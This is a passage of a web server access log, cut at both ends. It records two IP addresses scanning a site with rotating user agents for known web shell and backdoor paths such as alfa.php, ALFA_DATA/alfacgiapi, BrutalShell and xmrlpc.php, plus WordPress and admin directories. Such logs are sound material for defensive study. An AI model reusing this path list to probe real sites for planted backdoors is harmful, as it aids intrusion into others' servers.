Gecko" 180.149.228.172 - - [25/Apr/2025:12:10:09 -0400] "GET /wp-admin/images/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.125 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:11 -0400] "GET /wp-content/plugins/cp-pro/js.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:10:11 -0400] "GET /wp-includes/css/dist/components/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:10:12 -0400] "GET /wp-includes/customize/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:13 -0400] "GET /tt.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:13 -0400] "GET /uu.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:10:14 -0400] "GET /wp-admin/x.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 180.149.228.172 - - [25/Apr/2025:12:10:14 -0400] "GET /.well-known/pki-validation/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 180.149.228.172 - - [25/Apr/2025:12:10:15 -0400] "GET /dir.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:15 -0400] "GET /wp-admin/options.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:16 -0400] "GET /.well-known/acme-challenge/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:10:16 -0400] "GET /xx.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:17 -0400] "GET /css/xa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:10:17 -0400] "GET /sk.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:18 -0400] "GET /wordpress/wp-edit.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 180.149.228.172 - - [25/Apr/2025:12:10:18 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:18 -0400] "GET /wp-includes/SimplePie/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 180.149.228.172 - - [25/Apr/2025:12:10:19 -0400] "GET /wordpress/wp-includes/wp-post.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 180.149.228.172 - - [25/Apr/2025:12:10:19 -0400] "GET /alfa.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 180.149.228.172 - - [25/Apr/2025:12:10:19 -0400] "GET /.well-known/admin.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:10:20 -0400] "GET /cgi-bin/xmrlpc.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 180.149.228.172 - - [25/Apr/2025:12:10:20 -0400] "GET /bgf.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 180.149.228.172 - - [25/Apr/2025:12:10:20 -0400] "GET /wp-content/plugins/Cache/Cache.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 180.149.228.172 - - [25/Apr/2025:12:10:21 -0400] "GET /an.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 180.149.228.172 - - [25/Apr/2025:12:10:21 -0400] "GET /wp-includes/pomo/about.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:10:21 -0400] "GET /wp-content/plugins/core/include.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 180.149.228.172 - - [25/Apr/2025:12:10:21 -0400] "GET /test.php/wp-content/uploads/wp_live_chat/abruzi.php HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.248.76.222 - - [25/Apr/2025:12:10:32 -0400] "GET /.well-known/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.248.76.222 - - [25/Apr/2025:12:10:32 -0400] "GET /.well-known/pki-validation/ HTTP/1.1" 200 2060 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:10:34 -0400] "GET /.well-known/acme-challenge/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:35 -0400] "GET /vendor/phpunit/phpunit/src/Util/PHP/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:37 -0400] "GET /wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:38 -0400] "GET /wp-content/themes/tflow/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:10:39 -0400] "GET /wp-admin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:40 -0400] "GET /wordpress/wp-admin/includes HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:10:41 -0400] "GET /wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:41 -0400] "GET /ALFA_DATA/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:10:41 -0400] "GET /wp-content/upgrade/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:42 -0400] "GET /wp-admin/css/colors/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:10:42 -0400] "GET /wp-includes/css/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:43 -0400] "GET /wp-includes/ID3 HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Fedora; Linux x86_64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:10:43 -0400] "GET /wp-includes/Requests/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:43 -0400] "GET /wp-includes/blocks/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:75.0) Gecko/20100101 Firefox/75.0" 45.248.76.222 - - [25/Apr/2025:12:10:44 -0400] "GET /wp-includes/certificates/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:44 -0400] "GET /wp-includes/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:45 -0400] "GET /wp-admin/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:45 -0400] "GET /wp-admin/maint/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:45 -0400] "GET /wp-admin/meta/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:10:46 -0400] "GET /wp-admin/network/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:46 -0400] "GET /wp-admin/user/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:47 -0400] "GET /wp-content/uploads/ao_ccss/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:47 -0400] "GET /wp-content/uploads/2021/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:47 -0400] "GET /wp-content/plugins/elementor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:10:48 -0400] "GET /wp-content/mu-plugins/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:48 -0400] "GET /upload/image/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:48 -0400] "GET /wordpress/wp-content/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.248.76.222 - - [25/Apr/2025:12:10:49 -0400] "GET /wordpress/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:10:49 -0400] "GET /blog/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:49 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.248.76.222 - - [25/Apr/2025:12:10:50 -0400] "GET /admin/controller/extension/extension/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:50 -0400] "GET /admin/editor/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; rv:11.0) like Gecko" 45.248.76.222 - - [25/Apr/2025:12:10:50 -0400] "GET /admin/images/slider/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:51 -0400] "GET /admin/tmp/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:51 -0400] "GET /admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:52 -0400] "GET /Admin/uploads/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:10:53 -0400] "GET /admin/uploads/images/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:53 -0400] "GET /administrator/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.248.76.222 - - [25/Apr/2025:12:10:54 -0400] "GET /ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:54 -0400] "GET /assets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.79 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:54 -0400] "GET /cgi-bin/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0)" 45.248.76.222 - - [25/Apr/2025:12:10:55 -0400] "GET /components/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:55 -0400] "GET /home/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/72.0.3626.121 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:56 -0400] "GET /include/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.248.76.222 - - [25/Apr/2025:12:10:56 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:57 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.157 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:57 -0400] "GET /mt/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:58 -0400] "GET /site/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:10:58 -0400] "GET /tmps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/75.0.3770.100 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:59 -0400] "GET /wordpress/wp-admin/includes/wp-admin/js/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:10:59 -0400] "GET /wp-admin/css/colors/ectoplasm/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.248.76.222 - - [25/Apr/2025:12:11:00 -0400] "GET /wp-admin/css/colors/light/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:00 -0400] "GET /wp-admin/css/colors/midnight/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.130 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:01 -0400] "GET /wp-admin/css/colors/modern/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.248.76.222 - - [25/Apr/2025:12:11:01 -0400] "GET /wp-admin/css/colors/ocean/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:77.0) Gecko/20100101 Firefox/77.0" 45.248.76.222 - - [25/Apr/2025:12:11:01 -0400] "GET /wp-admin/css/colors/sunrise/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:02 -0400] "GET /wp-admin/js/widgets/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.248.76.222 - - [25/Apr/2025:12:11:02 -0400] "GET /wp-content/languages/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.248.76.222 - - [25/Apr/2025:12:11:02 -0400] "GET /wp-content/uploads/2022/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:03 -0400] "GET /wp-content/uploads/2023/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0" 45.248.76.222 - - [25/Apr/2025:12:11:03 -0400] "GET /wp-content/uploads/2024/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:67.0) Gecko/20100101 Firefox/67.0" 45.248.76.222 - - [25/Apr/2025:12:11:03 -0400] "GET /wp-includes/wp-includes/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.3; Win64; x64; rv:73.0) Gecko/20100101 Firefox/73.0" 45.248.76.222 - - [25/Apr/2025:12:11:04 -0400] "GET /wp-includes/css/dist/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:05 -0400] "GET /wp-includes/ID3/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.248.76.222 - - [25/Apr/2025:12:11:05 -0400] "GET /wp-includes/ID3/wp-includes/IXR/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:05 -0400] "GET /wp-includes/images/crystal/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:76.0) Gecko/20100101 Firefox/76.0" 45.248.76.222 - - [25/Apr/2025:12:11:05 -0400] "GET /wp-includes/images/media/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:06 -0400] "GET /wp-includes/images/smilies/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:06 -0400] "GET /wp-includes/images/wlw/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.61 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:06 -0400] "GET /wp-includes/js/codemirror/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:06 -0400] "GET /wp-includes/js/plupload/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:07 -0400] "GET /wp-includes/PHPMailer/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:07 -0400] "GET /wp-includes/sitemaps/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/84.0.4147.105 Safari/537.36 OPR/70.0.3728.95" 45.248.76.222 - - [25/Apr/2025:12:11:07 -0400] "GET /wp-includes/sitemaps/providers/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/69.0.3497.100 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:07 -0400] "GET /cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:08 -0400] "GET /cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:08 -0400] "GET /cekidot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.97 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:08 -0400] "GET /ubh/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:08 -0400] "GET /wp-content/ALFA_DATA/alfacgiapi/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/77.0.3865.90 Safari/537.36" 45.248.76.222 - - [25/Apr/2025:12:11:09 -0400] "GET /wp-content/plugins/linkpreview/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.248.76.222 - - [25/Apr/2025:12:11:09 -0400] "GET /wp-content/plugins/aryabot/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0" 45.248.76.222 - - [25/Apr/2025:12:11:09 -0400] "GET /wp-content/plugins/BrutalShell/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (X11; Linux i686; rv:79.0) Gecko/20100101 Firefox/79.0" 45.248.76.222 - - [25/Apr/2025:12:11:10 -0400] "GET /wp-content/plugins/cache-wordpress/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/58.0.3029.110 Safari/537.3" 45.248.76.222 - - [25/Apr/2025:12:11:10 -0400] "GET /wp-content/plugins/cakil/ HTTP/1.1" 301 795 "-" "Mozilla/5.0 